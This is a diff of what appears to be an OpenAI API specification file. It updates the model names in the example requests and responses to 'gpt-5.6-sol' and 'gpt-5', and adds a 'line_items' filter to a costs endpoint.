from openai import OpenAI
client = OpenAI()
- client.models.retrieve("VAR_chat_model_id")
+ client.models.retrieve("gpt-5.6-sol")
javascript: |-
import OpenAI from "openai";
const openai = new OpenAI();
async function main() {
- const model = await openai.models.retrieve("VAR_chat_model_id");
+ const model = await openai.models.retrieve("gpt-5.6-sol");
console.log(model);
}
@@ -8316,7 +8305,7 @@ paths:
Console.WriteLine(model.Value.Id);
response: |
{
- "id": "VAR_chat_model_id",
+ "id": "gpt-5.6-sol",
"object": "model",
"created": 1686935002,
"owned_by": "openai",
@@ -9491,6 +9480,14 @@ paths:
type: array
items:
type: string
+ - name: line_items
+ in: query
+ description: Return only costs for these exact line item names. Each value must match the complete `line_item` value, for example `gpt-5.6-sol, input_tokens`.
+ required: false
+ schema:
+ type: array
+ items:
+ type: string
- name: group_by
in: query
description: Group the costs by the specified fields. Support fields include `project_id`, `line_item`, `api_key_id` and any combination of them.
@@ -11672,7 +11669,7 @@ paths:
"object": "project.model_permissions",
"mode": "allow_list",
"model_ids": [
- "gpt-4.1",
+ "gpt-5.6-sol",
"o3"
]
}
@@ -16535,7 +16532,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": "Tell me a three sentence bedtime story about a unicorn."
}'
javascript: |
@@ -16544,7 +16541,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
input: "Tell me a three sentence bedtime story about a unicorn."
});
@@ -16555,7 +16552,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
input="Tell me a three sentence bedtime story about a unicorn."
)
@@ -16565,7 +16562,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -16583,7 +16580,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -16638,7 +16635,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": [
{
"role": "user",
@@ -16658,7 +16655,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
input: [
{
role: "user",
@@ -16681,7 +16678,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
input=[
{
"role": "user",
@@ -16704,7 +16701,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -16732,7 +16729,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -16787,7 +16784,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": [
{
"role": "user",
@@ -16808,7 +16805,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
input: [
{
role: "user",
@@ -16831,7 +16828,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
input=[
{
"role": "user",
@@ -16861,7 +16858,7 @@ paths:
"instructions": null,
"max_output_tokens": null,
"max_tool_calls": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"id": "msg_686eef60d3e081a29283bdcbc4322fd90e34c516d176ff86",
@@ -16919,7 +16916,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"tools": [{ "type": "web_search_preview" }],
"input": "What was a positive news story from today?"
}'
@@ -16929,7 +16926,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
tools: [{ type: "web_search_preview" }],
input: "What was a positive news story from today?",
});
@@ -16941,7 +16938,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
tools=[{ "type": "web_search_preview" }],
input="What was a positive news story from today?",
)
@@ -16953,7 +16950,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -16981,7 +16978,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "web_search_call",
@@ -17076,7 +17073,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"tools": [{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -17090,7 +17087,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
tools: [{
type: "file_search",
vector_store_ids: ["vs_1234567890"],
@@ -17106,7 +17103,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
tools=[{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -17122,7 +17119,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17153,7 +17150,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "file_search_call",
@@ -17279,7 +17276,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"instructions": "You are a helpful assistant.",
"input": "Hello!",
"stream": true
@@ -17290,7 +17287,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
instructions="You are a helpful assistant.",
input="Hello!",
stream=True
@@ -17304,7 +17301,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
instructions: "You are a helpful assistant.",
input: "Hello!",
stream: true,
@@ -17321,7 +17318,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17343,10 +17340,10 @@ paths:
}
response: |
event: response.created
- data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.4","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.in_progress
- data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.4","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.output_item.added
data: {"type":"response.output_item.added","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"in_progress","role":"assistant","content":[]}}
@@ -17369,7 +17366,7 @@ paths:
data: {"type":"response.output_item.done","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}}
event: response.completed
- data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.4","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
+ data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
- title: Functions
request:
curl: |
@@ -17377,7 +17374,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": "What is the weather like in Boston today?",
"tools": [
{
@@ -17427,7 +17424,7 @@ paths:
]
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
tools=tools,
input="What is the weather like in Boston today?",
tool_choice="auto"
@@ -17459,7 +17456,7 @@ paths:
];
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
tools: tools,
input: "What is the weather like in Boston today?",
tool_choice: "auto",
@@ -17471,7 +17468,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17517,7 +17514,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "function_call",
@@ -17590,7 +17587,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "o3-mini",
+ "model": "gpt-5.6-sol",
"input": "How much wood would a woodchuck chuck?",
"reasoning": {
"effort": "high"
@@ -17601,7 +17598,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "o3-mini",
+ model: "gpt-5.6-sol",
input: "How much wood would a woodchuck chuck?",
reasoning: {
effort: "high"
@@ -17614,7 +17611,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="o3-mini",
+ model="gpt-5.6-sol",
input="How much wood would a woodchuck chuck?",
reasoning={
"effort": "high"
@@ -17627,7 +17624,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "o3-mini",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17655,7 +17652,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "o1-2024-12-17",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -17802,7 +17799,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -17967,7 +17964,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -18318,7 +18315,7 @@ paths:
"completed_at": null,
"required_action": null,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a helpful assistant.",
"tools": [],
"tool_resources": {},
@@ -18396,13 +18393,13 @@ paths:
data: {"id":"thread_123","object":"thread","created_at":1710348075,"metadata":{}}
event: thread.run.created
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"tool_resources":{},"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"tool_resources":{},"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
event: thread.run.queued
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"tool_resources":{},"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"tool_resources":{},"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
event: thread.run.in_progress
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"tool_resources":{},"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"tool_resources":{},"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
event: thread.run.step.created
data: {"id":"step_001","object":"thread.run.step","created_at":1710348076,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"in_progress","cancelled_at":null,"completed_at":null,"expires_at":1710348675,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_001"}},"usage":null}
@@ -18434,7 +18431,7 @@ paths:
data: {"id":"step_001","object":"thread.run.step","created_at":1710348076,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"completed","cancelled_at":null,"completed_at":1710348077,"expires_at":1710348675,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_001"}},"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31}}
event: thread.run.completed
- {"id":"run_123","object":"thread.run","created_at":1710348076,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1713226836,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1713226837,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":345,"completion_tokens":11,"total_tokens":356},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
+ {"id":"run_123","object":"thread.run","created_at":1710348076,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1713226836,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1713226837,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":345,"completion_tokens":11,"total_tokens":356},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}
event: done
data: [DONE]
@@ -18564,13 +18561,13 @@ paths:
data: {"id":"thread_123","object":"thread","created_at":1710351818,"metadata":{}}
event: thread.run.created
- data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.queued
- data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.in_progress
- data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710351818,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710351818,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.step.created
data: {"id":"step_001","object":"thread.run.step","created_at":1710351819,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"tool_calls","status":"in_progress","cancelled_at":null,"completed_at":null,"expires_at":1710352418,"failed_at":null,"last_error":null,"step_details":{"type":"tool_calls","tool_calls":[]},"usage":null}
@@ -18596,7 +18593,7 @@ paths:
data: {"id":"step_001","object":"thread.run.step.delta","delta":{"step_details":{"type":"tool_calls","tool_calls":[{"index":0,"type":"function","function":{"arguments":"\"}"}}]}}}
event: thread.run.requires_action
- data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"requires_action","started_at":1710351818,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":{"type":"submit_tool_outputs","submit_tool_outputs":{"tool_calls":[{"id":"call_XXNp8YGaFrjrSjgqxtC8JJ1B","type":"function","function":{"name":"get_current_weather","arguments":"{\"location\":\"San Francisco, CA\",\"unit\":\"fahrenheit\"}"}}]}},"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":345,"completion_tokens":11,"total_tokens":356},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710351818,"assistant_id":"asst_123","thread_id":"thread_123","status":"requires_action","started_at":1710351818,"expires_at":1710352418,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":{"type":"submit_tool_outputs","submit_tool_outputs":{"tool_calls":[{"id":"call_XXNp8YGaFrjrSjgqxtC8JJ1B","type":"function","function":{"name":"get_current_weather","arguments":"{\"location\":\"San Francisco, CA\",\"unit\":\"fahrenheit\"}"}}]}},"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":345,"completion_tokens":11,"total_tokens":356},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: done
data: [DONE]
@@ -19396,7 +19393,7 @@ paths:
"failed_at": null,
"completed_at": 1699075073,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"incomplete_details": null,
"tools": [
@@ -19443,7 +19440,7 @@ paths:
"failed_at": null,
"completed_at": 1699063291,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"incomplete_details": null,
"tools": [
@@ -19576,7 +19573,7 @@ paths:
"failed_at": null,
"completed_at": 1699063291,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"incomplete_details": null,
"tools": [
@@ -19640,13 +19637,13 @@ paths:
main();
response: |
event: thread.run.created
- data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710331240,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710331240,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.queued
- data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710331240,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
